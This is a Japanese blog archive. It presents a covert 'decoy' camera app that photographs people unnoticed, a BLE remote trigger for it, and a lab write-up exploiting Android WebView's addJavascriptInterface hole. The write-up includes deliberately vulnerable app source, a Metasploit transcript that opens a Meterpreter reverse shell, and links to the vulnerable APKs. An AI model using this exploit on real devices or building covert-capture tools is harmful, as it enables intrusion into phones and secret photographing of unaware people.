自作アプリ」カテゴリーアーカイブ

GitHubに公開したAndroidアプリ「DecoyCamera」について(使い方)

使い方

設定

現バージョンでは設定メニュはありません。

機能

本アプリはカメラアプリです。「Decoy」という名称でわかるかも知れませんが、周りにスマホがいっぱいある中で、周りに気づかれずに、状況を画像として記録することができます。

全体の流れ

ステップ1: アプリを起動する

①スマホアプリ起動前の画面例
clip-20191006170148.png
②スマホアプリ起動後の画面例。極小ファインダと2つのボタンが見える。ナビゲーションが白色
clip-20191006170458.png

アプリを起動しても、一見、何事もなかったような画面です。起動時のスマホ画面がほとんどそのまま残ります。ただし、見えているアイコンなどにタッチしてもなにも起こりません。「DecoyCamera」の透明な画面が全体を覆っているからです。

ステップ2: 極小ファインダーで画像を確認し、シャッターボタンをタッチして、撮影する

撮影に成功すると、保存する画像ファイル名が表示されます。画像ファイル名は撮影時刻をもとに自動生成したものになります。

「FR」ボタンをタッチするとメインカメラからフロントカメラに切り替わります。もう一度タッチするとメインカメラに戻ります。

Androidの機種による動作の違い

  • Amazon-Kindle-Fire-7:メインカメラでは撮影できません。フロントカメラに切り替えると撮影できます。シャッター音は鳴りません(FireOS6だから?)。
  • Amazon-Kindle-Fire- HD-10:メインカメラでは撮影できません。フロントカメラに切り替えると撮影できます。シャッター音が鳴ります(FireOS5だから?)。
  • GalraxyJ6+:フル動作します。シャッター音は鳴りません(海外向けスマホだから?)。
  • OPPO R11S:フル動作します。シャッター音が鳴ります(日本向けスマホだから?)。

ステップ3: 撮影した画像を確認する

スマホのファイラー(ファイル管理アプリ)を起動して、
内部ストレージ(内部共有ストレージ)の下記フォルダ(ディレクトリ)を確認します。

(内部ストレージ)/android/data/com.krasavkana.android.decoycamera/files

ステップ2で保存したファイル名のファイルが確認できるはずです。

ステップ4: アプリを終了する

「BLEスイッチ」との連携

GitHubに公開したAndroidアプリ「BleSwitch」について(使い方)

を参照してください。

リリース用APKファイル

リリース用にビルドした署名付きAPKファイルを本ブログ配下に置いています。

androidアプリ「BleSwitch」リリース用APKファイル
androidアプリ「DecoyCamera」リリース用APKファイル

GitHubの公開コードをローカル開発環境(AndroidStudio3.x)にクローンしてきてビルドしても得られるものですが、そうした環境をお持ちでない方のために用意しました。

どういう動作になるのか。興味のある方はいろいろ試してみてください。

関連する記事・ページ

GitHubに公開したAndroidアプリ「DecoyCamera」について(概要)
GitHubに公開したAndroidアプリ「DecoyCamera」について(使い方)
GitHubに公開したAndroidアプリ「DecoyCamera」について(技術解説)
GitHubに公開したAndroidアプリ「BleSwitch」について(概要)
GitHubに公開したAndroidアプリ「BleSwitch」について(使い方)
GitHubに公開したAndroidアプリ「BleSwitch」について(技術解説)

お世話になったリンク

android-Camera2Basic

以上です。

GitHubに公開したAndroidアプリ「DecoyCamera」について(概要)

概要

本アプリは、カメラアプリです。Camera2APIという最新のAPIを導入しています。

ただし、現時点では、旧来のCameraAPIと同じ使い方をしています。例えば、フェース認識等の先進技術は使っていません。

「DecoyCamera」というアプリ名

「DecoyCamera」というアプリ名にしていますが、これには理由があります。

「Decoy」とは、木製のカモ(人形)のことで、狩猟等で使います。「Decoy」があまりに精巧にできているので、本物の獲物(カモ)が寄ってきてくれるのです。狩猟者が設置した「Decoy」のそばに来た獲物は十分な射程距離に入っているので助かります。

日本語では「おとり」になりますね。今では「おとり捜査」(Decoy Investigate)の意味にも使われています。

「DecoyCamera」は、「Decoy」にちなんで、たくさんの(カメラ機能付き)スマホに紛れているスマホアプリです。後述しますが、狩猟者の代わりに撮影者が離れた場所から撮影タイミングを狙うこともできます。

今年、車載カメラ(ドライブレコーダー)が売れました

現代人は、今ではいつでもどこでもスマホに囲まれて生活しています。これまでカメラのない空間はバスルーム位でしたが、そこにスマホを持ったひとがいれば、それも例外ではなくなりつつあります。

2019年になって、車につける車載カメラ(ドライブレコーダーともいいます)が大変な売れ行きになっているそうです。

日本では滅多にないことですが、非常に稀に「乱暴運転」や「事故」に遭遇します。もちろん、自身の車が事故を起こしたり、巻き込まれたりすることもあります。

そういった場合に、車載カメラ(ドライブレコーダー)できちんと状況を記録できていると、とても助かります(逆に自分に不利になることもありますが)

テレビ等で「乱暴運転」の非道さが連日報道された結果、その状況を記録して証拠提示もできる非常に役立つものとして車載カメラ(ドライブレコーダー)が注目されました。

「DecoyCamera」の役割

車載カメラ(ドライブレコーダー)の街中版

「DecoyCamera」は、周りに気づかれずに、状況を画像として記録することができます。

車載カメラの場合は、エンジン始動からエンジン停止まで、自動で動作して状況を逐一記録していってくれます。

さすがに、スマホの電源を入れてから電源を落とすまで、内蔵カメラを起動して逐一記録することはできませんし、その必要もありません。運転中と比べてそんなに突然に証拠となる画像が必要になる場面はそうそうないからです。

不審物や不審者や不信な状況について、あからさまにカメラを向けることなく、その状況を撮影することが「DecoyCamera」でできます。

香港のデモに遭遇したら

画像処理によりフェース認識技術は現在中国が世界一だとか。基本技術は日本発のようですが、画像取得に使うカメラは街の到るところにあってその数も半端ないとか。

香港のデモの参加者は皆一様にマスクをしています。マスクをしていればフェース認識できないか、その能力が発揮できなくなるからでしょうね。

日本人が旅行者としてそうしたデモに遭遇したとすると、何が起こるか分かりません。デモのそばにいる人たちを「十把一絡げ」にして拘束するかも知れませんよね。

「目には目を、歯には歯を」で、当局の行動を「DecoyCamera」等のスマホアプリを使って逐一証拠として残しておきましょう。

中国でフェース認識に使われるカメラの数がどれだけ膨大であっても、世界の人たちが使っているスマホの数に比べれば、もののかずにもなりませんからね。

スパイカメラとは一味違う

世の中には、探偵などのプロが使うスパイカメラというものがあります。そうしたものはほぼ全てカモフラージュしたカメラです。つまり一見してとてもカメラには見えないもの。ペン、ACアダプター、壁掛け、腕時計、スーツのボタン、ぬいぐるみの眼球、等々。米国のドラマ「リベンジ」でもそういう小道具が使われていましたね。

「DecoyCamera」はそうしたものと一味も二味も違います。

  • スパイカメラはスマホ搭載のカメラに比べて性能が数段落ちます。「DecoyCamera」の場合、最新スマホにインストールするだけです。(なんて言っても、開発環境を持っていないのでiOSには対応していません)
  • スパイカメラは専用品で、証拠取得以外の使い道がありません
  • スパイカメラは専用品すぎて、使うひとにソーシャルエンジニアリング能力が必要です。逆にいうとプロが使ってこその仕様です。「DecoyCamera」の場合、いつでもどこでもスマホをいじれる時間と場所であれば、だれでも問題なく使いこなせます。ただし、日本向けスマホの場合シャッター音が鳴る場合があるので注意してください(*1)
  • スパイカメラはカスタマイズできません。「DecoyCamera」の場合、公開コードを改変すれば無限にカスタマイズ可能です
  • 「DecoyCamera」の場合、「BLEスイッチ」と連動して離れた場所からアプリを起動することができます

*1:「DecoyCamera」が使っているCamera2APIには単独では音声を鳴らす機能がありません。日本向けスマホの場合などで、自動でシャッター音が鳴る仕組みになっているようです。海外向けスマホにインストールした場合、シャッター音は鳴りません。実は、公開コードにおいても、オプションとしてシャッター音を実装しようとしましたが、うまくいきませんでした。

公開コードの改変について

本アプリのコードをGitHubにて公開しています。

「DecoyCamera」公開コード

開発環境はAndroidStudioで言語はJavaです。昔と違ってプログラミングの勉強が非常にやりやすくなっています。

元々それなりに動作するものを使って、いろいろ試してみることが一番勉強になると、管理人は考えています。

公開コードを取得してちょっと修正ながら、より素晴らしい、高機能な「Decoy」なカメラにしてみてください。

関連する記事・ページ

GitHubに公開したAndroidアプリ「DecoyCamera」について(概要)
GitHubに公開したAndroidアプリ「DecoyCamera」について(使い方)
GitHubに公開したAndroidアプリ「DecoyCamera」について(技術解説)
GitHubに公開したAndroidアプリ「BleSwitch」について(概要)
GitHubに公開したAndroidアプリ「BleSwitch」について(使い方)
GitHubに公開したAndroidアプリ「BleSwitch」について(技術解説)

お世話になったリンク

Android 5.0におけるBLE について – 受信編 –
THETA プラグインで 市販の BLE ボタンをリモコンにしてみた
iBeaconとは

以上です。

GitHubに公開したAndroidアプリ「BleSwitch」について(技術解説)

撮影タイミングは実機テストに使った端末に合わせて調整しています。

Android9.x(実機はGalaxyJ6+)ではLOW_LATENCYモードで100ms毎スキャンします。
それ以外のバージョンではLOW_ENERGYモードで起動します。2000msでスキャン3000ms休止のくり返しになります。実機ではスキャンできなかったり一回のボタン操作にもかかわらず2回以上信号を受けてスマホアプリを起動してしまうことがありました。

GitHubに公開したAndroidアプリ「BleSwitch」について(使い方)
ここに、こう書いていますが、少し違っていました。かなりかも。

スマホ(受信側)のBLEスキャン間隔はというと、以下にようになっています。

  • 低遅延モードLOW_LATENCY:常時スキャン
  • 低消費電力モードLOW_ENERGY:400msスキャン後4600ms休止、その繰り返し
  • バランスモードBALANCE:2000msスキャン後3000ms休止、その繰り返し

一方、BLEビーコンデバイス(発信側)の送信間隔はどうでしょう。
標準ビーコンで100ms、「Bluetoothリモートシャッター」は34msのようです(実測した結果)。

それではPochiruEcoはというと、こちらは特殊で標準ビーコンの規格を満たしていないようです。元々常時発信するデバイスではないのでそれでいいんでしょうね。ボタンが押されると800ms間隔で送信しつづけ、全体で20秒弱で停止します。

「実機ではスキャンできなかったり」の動作

上に紹介したスキャンモードのうち、低消費電力モードの場合5秒間のうち400msしかスキャンしないので、タイミングによっては、800ms間隔の送信を取りこぼす可能性があるようです。これで「実機ではスキャンできなかったり」の動作が説明できます。

「一回のボタン操作にもかかわらず2回以上信号を受けてスマホアプリを起動してしまうこと」

これについては、もう少し複雑な事情がありそうです。BLEのAPIライブラリの違いなのか、BLEビーコンデバイスとの相性の違いなのか不明ですが、BLEスキャンでデバイス検出できたあとの動作に微妙な違いが現れました。

コードで示すと


    // Device gatt callback.
    private BluetoothGattCallback leGattCallback = new BluetoothGattCallback() {
//        @Override
//        public void onServicesDiscovered(BluetoothGatt gatt, int status) {
//            Log.d(TAG, "Bluetooth GATT Status: " + status);
//       }
        @Override
        public void onConnectionStateChange(BluetoothGatt gatt, int status, int newState) {
            Log.d(TAG, "Bluetooth GATT Status: " + status);
            switch(newState){
                case BluetoothGatt.STATE_CONNECTED:
                    Log.d(TAG, "Bluetooth GATT State: CONNECTED");
                    gatt.disconnect();
                    break;
                case BluetoothGatt.STATE_DISCONNECTED:
                    Log.d(TAG, "Bluetooth GATT State: DISCONNECTED");
                    gatt.close();
                    break;
                default:
                    Log.d(TAG, "Bluetooth GATT State: " + newState);
                    break;
            }
        }
    };

の部分の話になります。

スキャン検出後、Gattに接続要求して、接続したら切断して、切断したらクローズして、というようなことをやって、BLEビーコンの発信を中断させるようにしています。上記コードには「接続したら切断して、切断したらクローズして」の部分が見えると思います。

ところが、実機によっては(もしかするとSDKバージョンによっては、かもですが)これがうまく動作しないものがあります。「Gattに接続要求して、接続したら切断して」の部分で接続時のコールバックがなく、いきなり切断時のコールバックになってしまいます。結局切断してクローズするのですから「どっちでもいいじゃない!」となりそうですが、このとき結構なタイムラグがあり、それがスキャン時の複数回検出に繋がっているのかと考えています。

BLEビーコンが発信を中断してくれさえすれば、5秒間隔位でボタンを押してもその都度スマホアプリが起動できますが、中断しないと、「一回のボタン操作にもかかわらず2回以上信号を受けてスマホアプリを起動してしまうこと」になってしまいます。

Android9.xの実機ではうまく動作しますが、Android7.xの実機では上記の通りの現象が出ています。

ただ、このあたりは、BLEビーコンの動作仕様といかに合わせるかの問題になるので、あまり厳密に考えても意味なさそうです。

たとえば、ボタン操作から20秒弱で発信停止するのあれば、最初からGatt接続しないで、20秒まってからスキャン再開すればよさそうです。もちろんその間ボタン操作は効かなくなるので、そうしたやりかたで要件を満足させられるのかチェックする必要はありますが。

Android9.xの実機(GalaxyJ6+)ではうまく動作しており、ボタン操作の取りこぼしなく、操作後1秒以内にカメラアプリが起動して撮影できることを確認しています。

「THETAVプラグインで市販のBLEボタンをリモコンにしてみた」はAndroid7.x???

参考にさせていただいたリンクに「THETAVプラグインで市販のBLEボタンをリモコンにしてみた」がありますが、開発環境で取得できるログ(LogCat)を比較してみると、どうも、Android7.1.1搭載の実機と同じ動きをするようです。
上のコードでいうと「CONNECTED」にコールバックしないでいきなり「DISCONNECTED」になりますね。参考記事の中でもある程度インターバル(記事中では8秒の設定)を置かないと連続撮影してしまうとか。
BLEの機器なのかソフトなのかの微妙な違いが動作に影響するようです。

関連する記事・ページ

GitHubに公開したAndroidアプリ「BleSwitch」について(技術解説)
GitHubに公開したAndroidアプリ「BleSwitch」について(使い方)
GitHubに公開したAndroidアプリ「BleSwitch」について(概要)

お世話になったリンク

Android 5.0におけるBLE について – 受信編 –
THETA プラグインで 市販の BLE ボタンをリモコンにしてみた
iBeaconとは

以上です。

GitHubに公開したAndroidアプリ「BleSwitch」について(概要)

ざっくりと言って何するものか?

アンドロイド版BLEスイッチという、
GitHubに公開しているAndroidアプリ(コード)について、解説します。

https://github.com/krasavkana/android-ble-switch

このアプリは、BLEビーコンデバイスをAndroidアプリの操作に使えるようにする橋渡しアプリです。

「Bluetoothリモートシャッター」というのが100均で売っています。iPhoneやAndroidデバイスの内蔵カメラを起動しておけば、このデバイスを使って離れた場所からシャッターを操作することができます。

clip-20191005115218.png

くり返しになりますが、本アプリは、【BLEビーコンデバイス】を【Androidアプリの操作】に使えるようにする【橋渡しアプリ】です。これを「Bluetoothリモートシャッター」の動作に対応させて説明すると、

  • 【BLEビーコンデバイス】 ⇒ 「Bluetoothリモートシャッター」
  • 【Androidアプリの操作】 ⇒ シャッターを操作する
  • 【橋渡しアプリ】 ⇒ デバイスのボタン操作をAndroidアプリのシャッター操作に橋渡しする

となります。

じゃあ、100均デバイスとの違いは?

これ、実はこの問い自体がちょっと違います。 世の中のほとんどすべてのデバイスについて言えますが、デバイス単体で動作するものはありません。デバイスと連携して動作するコード(アプリ、ソフトウエア)が必要です。

デバイス+橋渡しアプリで動作する

100均デバイスの場合は、デバイスとペアリングしてくれるサービスが【橋渡しアプリ】として機能して100均デバイスのボタン操作をAndroidアプリ(内蔵カメラアプリ)に橋渡ししてくれます。

本アプリの対応デバイスは?

本アプリの場合、アプリ自体は【橋渡しアプリ】なので、一緒に動作させる【BLEビーコンデバイス】を考える必要があります。

コード公開にあたり実機テストをしています。その際次の【BLEビーコンデバイス】を使って動作確認しています。

PochiruEco
http://www.products.braveridge.com/pochiru_eco/

この場合、

  • 【BLEビーコンデバイス】 ⇒ 「Pochiru(Eco)」
  • 【Androidアプリの操作】 ⇒ 本アプリでは専用カメラアプリを起動する
  • 【橋渡しアプリ】 ⇒ 本アプリのこと

として動作します。

100均デバイス+橋渡しアプリとの違いは?

漸く、元の話題に戻ってきました。100均デバイス+橋渡しアプリとの違いは、下記3点です。

  • ペアリング不要
  • Androidデバイス内のアプリを起動する
  • ビーコン(BLE)を認識できる

ペアリング不要

ペアリングする場合、デバイスとペアリング認証する必要があり、同時に複数のAndroidアプリを同時に動作させることができません。

これはメリットにもなりデメリットにもなります。想定するものに依って変わります。

ペアリングしていない場合、スマホアプリからはデバイス個体を見分けることができないため、すぐ近くで同じ種類の100均デバイスが使われるとそれに反応してしまうという困ったことが起きる可能性があります。
逆に、ペアリングしている場合、ひとつのデバイスで複数台のスマホアプリを同時に処理させることができません。

本アプリの場合、複数台のスマホアプリを同時に起動できます。

例えば、複数台のスマホ内蔵カメラを同時に起動することができます。シャッターのタイミングは、スマホ内蔵カメラをハンドリングするカメラアプリが担当するので何とも言えませんが、ほぼ同時に処理することができます。

なので、同じ被写体に向かって前後左右上下の6台のスマホを用意すれば、同時に6方向からの画像を撮影することが可能になります。映画「マトリックス」のような一瞬を捉えた連続画像ができそうです。
#ひとりでスマホを6台用意するのは大変でしょうね。できれば同じもの6台にした方がタイミング合わせのためにもいいですね。

アプリを起動

「Bluetoothリモートシャッター」の場合にできる操作は、離れた場所からシャッターを切る、でした。これには事前にスマホの内蔵カメラアプリを起動しておくなどの操作が必要です。

本アプリの場合、そうした準備は不要で、スマホアプリ自体を起動することができます。

公開したコードサンプルでは、拙作のカメラアプリを起動しています。起動されたカメラアプリは起動したらすぐにシャッターを切ります。暗い場所やフォーカスしにくい被写体などはピンぼけになるかも知れませんけどね。

BLEビーコンを認識

本アプリでは、ペアリングは行わず、ビーコンの送信(アドバタイジング)をスキャンします。デバイス名やデバイスアドレス、サービスUUID等のパラメータを指定することにより、周囲にある複数のビーコンから指示を待つべきビーコンを絞ります。

デバイス個体を特定するパラメータ指定がなければ、その時初めて遭遇したBLEビーコンに反応することになります。あまりそうした使い方は想定していませんが、それはそれで使い道があるかも知れません。アイデア次第ですね。

本アプリの公開コードで使用した【BLEビーコンデバイス】である「Pochiru(Eco)」の場合、標準的なビーコン(iBeaconやEdyStoneなど)の動作仕様とはかなり違った動きをするようです。

たとえば、標準ビーコンは100ms毎に発信するのに比べ、このデバイスは800ms毎の発信であるとか。標準ビーコンは電池が切れるまで何か月でも連続発信するけど、このデバイスはボタンをONして20秒弱しか発信しないだとか。標準ビーコンは電池が入って切れるまで動作するので、元々発信ボタンが必要ないですよね。

本アプリでは、こうした標準ビーコンの動作仕様を想定していません。コードを書き換えればそういうものも認識させることができます。認識させることができれば、お店に設置してある標準ビーコンを察知してスマホ等に通知するとか、お年寄りや子供にポータブルな標準ビーコンを携帯してもらっておいて、近づいたり遠ざかったりしたらスマホに通知するとか、ができるようになるでしょう。

関連する記事・ページ

GitHubに公開したAndroidアプリ「BleSwitch」について(技術解説)
GitHubに公開したAndroidアプリ「BleSwitch」について(使い方)
GitHubに公開したAndroidアプリ「BleSwitch」について(概要)

お世話になったリンク

Android 5.0におけるBLE について – 受信編 –
THETA プラグインで 市販の BLE ボタンをリモコンにしてみた
iBeaconとは

以上です。

実験してみました!Android 4.2.x以下のAndroid端末(スマホやタブレット)は本当にやばいです!

ここのリンクにもあるように、Android 4.2.x以下のAndroid端末のAndroid全端末に占める割合は約50%です。50%のAndroid端末の台数は膨大な数になります。数億台?そしてこれら50%の端末に潜在する可能性のある脆弱性(*1)について実験してみました。
結果は、手近にあったAndroid端末4台中2台に脆弱性が残っており、「端末に保存されている画像入手は当たり前。アプリに対するパーミッションによっては端末内蔵カメラによるスナップ撮影も可能」という結果になりました。

*1:Attacks on Android WebViews

どういう端末が危ないか

1.Android 4.2.x(APIは17)以下のOSを搭載するAndroid端末
2.WebViewクラスを使用したアプリをインストールして起動
3.インタネットへのアクセスを許可

これだけで、端末内に保存されている写真や音声やSMSを抜かれる可能性があります。

さらに、

4.カメラ、マイク、連絡先、SMSなどへのアクセスを許可

などしていると、場合によっては内蔵カメラで写真を撮られたり、マイクで録音されたり、SMS送信されたりしてしまう可能性があります。

なので上記2のWebViewクラスを使用したアプリが、「悪意のある」アプリの場合本当にやばいと思われます

実験内容

1.アプリ作成
Java言語でWebViewクラスを宣言した50行ほどのコードにインタネットアクセス許可をつけただけのスマホアプリ(vulnWebView.apk)を作成。またカメラ等へのアクセスを実験するため、カメラ、マイク、SMS、カレンダ、連絡先へのパーミッションをつけた別バージョンのスマホアプリ(vulnWebViewAll.apk)も作成

2.侵入ホストにて端末からのアクセスを待機
侵入テスト用Frameworkである「Metasploit」から脆弱性をついたExploitを使用して、Android端末上で上記スマホアプリが実行されるのを待機

3.端末上でアプリ実行
Android端末に上記スマホアプリをインストールして実行。(HOMEPAGEやSDCARDや共有フォルダ経由などなんでもよい)ダウンロードしてインストール

4.侵入ホストより侵入
脆弱性の条件が合って接続できれば、画像や音声等のデータを入手してみるさらに端末内蔵のカメラでスナップ撮影。マイクからの録音も。

ターゲット環境

・HTC Butterfly J:os4.1.1
・SonyTabletS:os4.0.3
・GalaxyS3Progre:os4.1.2
・ArrowsNX_F_01F:os4.2.2
・全端末はLAN接続

侵入ホスト環境

・VMWare(7.1.0 build-2496824) on Win7 Home Premium Edition
・Kali Linux3(CD-ROM)でインストール後UpdateおよびUpgrade完了。GitHubによる最新化はしていない
・Metasploit Framework Version: 4.11.3-2015062101
(msfconsoleのバージョン表示から)
・ターゲット端末と同じLANに接続

WebViewクラス使用アプリの作成

GitHubに実験用のJavaソース(というよりproject)が公開されており、それを使って実験してみました。ただそのままではうまく動作せず、下記に従いコードを変更しました。

変更点1:LoadUrlの呼び出しではPORTを陽に指定する必要があること
変更点2:処理途中にRedirectがありその場合にWebViewではなく通常のブラウザが呼ばれてしまいうまく動作しない。それを防ぐコードを追加したこと
変更点3:侵入端末への接続情報、すなわちIPアドレス、ポート番号、およびURIをアプリから指定できるようにしてあります。

package com.krasavkana.vulnwebview;

import android.os.Bundle;
import android.annotation.SuppressLint;
import android.app.Activity;
import android.view.Menu;
import android.view.View;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.Button;
import android.widget.EditText;

@SuppressLint("SetJavaScriptEnabled")
public class MainActivity extends Activity {

private static EditText edittext1;
private static EditText edittext2;
private static EditText edittext3;
private static WebView myWebView;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

final Button button = (Button) findViewById(R.id.button1);

// set LHOST 192.168.1.30
edittext1 = (EditText) findViewById(R.id.edittext1);
// set SVRPORT 8080
edittext2 = (EditText) findViewById(R.id.edittext2);
// set URIPATH /aaaaaaaa
edittext3 = (EditText) findViewById(R.id.edittext3);

myWebView = (WebView) findViewById(R.id.webView1);

// not a good idea!
WebSettings webSettings = myWebView.getSettings();
webSettings.setJavaScriptEnabled(true);

// terrible idea!
myWebView.addJavascriptInterface(new WebAppInterface(this), "Android");

myWebView.setWebViewClient(new WebViewClient(){
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
return super.shouldOverrideUrlLoading(view, url);
}
});

// woot.
//myWebView.loadUrl(edittext.getText().toString());

button.setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
// Perform action on click
loadUrl();
}
});

}

@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}

private void loadUrl() {
String uri="http://"+edittext1.getText().toString()+":"+edittext2.getText().toString()+edittext3.getText().toString();
myWebView.loadUrl(uri);
// myWebView.reload();
}

}

実験結果

・HTC Butterfly J(os4.1.1):侵入NG(条件のうちvuln_testがFalseで合わないらしい)
・SonyTabletS(os4.0.3):侵入NG(ただし条件は合うようだ)
・GalaxyS3Progre(os4.1.2):侵入OK。カメラへのアクセス許可があればスナップ撮影が可能
・ArrowsNX_F_01F(os4.2.2):侵入OK。カメラへのアクセス許可があってもスナップ撮影は不可。
マイクによる音声入力は長いもの(60秒)は不可

以下は、GalaxyS3Progreに侵入テストしたときのコンソール画面です。

root@kali:~# msfconsole

IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt

Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with
Metasploit Pro -- learn more on http://rapid7.com/metasploit

       =[ metasploit v4.11.3-2015062101 [core:4.11.3.pre.2015062101 api:1.0.0]]
+ -- --=[ 1463 exploits - 838 auxiliary - 229 post        ]
+ -- --=[ 428 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use android/browser/webview_addjavascriptinterface
msf exploit(webview_addjavascriptinterface) > set LPORT 192.168.1.30
LPORT => 192.168.1.30
msf exploit(webview_addjavascriptinterface) > set URIPATH /aaaaaaaa
URIPATH => /aaaaaaaa
msf exploit(webview_addjavascriptinterface) > set VERBOSE true
VERBOSE => true
msf exploit(webview_addjavascriptinterface) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.30:4444 
[*] Using URL: http://0.0.0.0:8080/aaaaaaaa
[*] Local IP: http://192.168.1.30:8080/aaaaaaaa
[*] Server started.
msf exploit(webview_addjavascriptinterface) > 
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - No cookie received, resorting to headers hash.
[*] 192.168.1.108    webview_addjavascriptinterface - Gathering target information.
[*] 192.168.1.108    webview_addjavascriptinterface - Sending HTML response.
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Info receiver page called.
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Received cookie 'oZbIEOhlGk'.
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Received sniffed browser data over POST: 
{"os_name"=>["Android"], "os_vendor"=>["undefined"], "os_device"=>["undefined"], "ua_name"=>["Safari"], "ua_ver"=>["4.0"], "arch"=>["armle"], "java"=>["null"], "silverlight"=>["false"], "flash"=>["null"], "vuln_test"=>["true"]}.
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Received cookie 'oZbIEOhlGk'.
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Serving exploit to user with tag oZbIEOhlGk
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Setting target "oZbIEOhlGk" to :tried.
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Comparing requirement: source=script vs source=script
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Comparing requirement: os_name=(?-mix:^(?:Google )?Android) vs os_name=Android
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Comparing requirement: vuln_test=true vs vuln_test=true
[*] 192.168.1.108    webview_addjavascriptinterface - Serving armle exploit...
[*] Sending stage (45338 bytes) to 192.168.1.108
[*] Meterpreter session 1 opened (192.168.1.30:4444 -> 192.168.1.108:44195) at 2015-06-28 15:49:42 -0700

msf exploit(webview_addjavascriptinterface) > sessions

Active sessions
===============

  Id  Type                      Information  Connection
  --  ----                      -----------  ----------
  1   meterpreter java/android   @ localhost  192.168.1.30:4444 -> 192.168.1.108:44195 (192.168.1.108)

msf exploit(webview_addjavascriptinterface) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > ls
Listing: /data/data/com.krasavkana.vulnwebview
==============================================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100666/rw-rw-rw-  11768  fil   2015-06-28 15:49:41 -0700  abaeJ.dex
40666/rw-rw-rw-   4096   dir   2015-06-28 15:49:37 -0700  cache
40666/rw-rw-rw-   4096   dir   2015-06-28 15:49:37 -0700  databases
40444/r--r--r--   4096   dir   2015-06-28 15:49:14 -0700  lib

meterpreter > pwd
/data/data/com.krasavkana.vulnwebview
meterpreter > cd ..
meterpreter > pwd
/data/data

実験で使ったAPKファイル

掲載不要かもしれませんが、自分でも実験したり侵入テストしてみたりしたい方のために、今回作成したWebView使用アプリのAPKファイルを置いておきます。IPアドレス、ポート、サーバのURIを変更できる設計にしましたので、ここで実験したことが再現できると思います。ただくれぐれもLAN等閉鎖されたところで実験してください。

インタネットアクセスのみのVunWebView.apk
インタネットアクセスの他カメラ、マイク、カレンダ、連絡先、SMSへのアクセスを許可するVunWebView.apk

因みに、GooglePlayに出している(*2)Androidアプリが数点あるのですが、そのうち1点がWebViewクラスを使用しています。心配になったので、LoadUrlメソッドで呼び出しているURIに、ここで使った侵入ホストを指定して実験してみましたが、脆弱性がつけなかったのか侵入できませんでした。理由はaddJavascriptInterfaceメソッドを使っていないからだと思っています。

*2:実はつい最近ですが、GooglePlayから削除されていることが判明しました。Googleからデベロッパ宛にPolicy変更等の通知が来るのですが、暫くの間見れないことがあって、その間に期限切れになり、結果「削除」になってしまったようです。

他の脆弱性について

今回の実験で使用した脆弱性の他にも、さまざまな脆弱性が発見されており、アンチウイルスのメーカ等と侵入者とのいたちごっこが続いています。

私たちエンドユーザとしては、

・OSはできるだけUpdateをすること、
・怪しいアプリはインストールしないこと、
・重要な情報は端末に残さないか暗号化しておく、

などができ得る対策ですが、十分に気をつけましょう。

関連する記事・ページ

お世話になったリンク

Attacks on Android WebViews
rapid7/metasploit-framework
WebViewのリダイレクト時のブラウザ起動防止
以上です。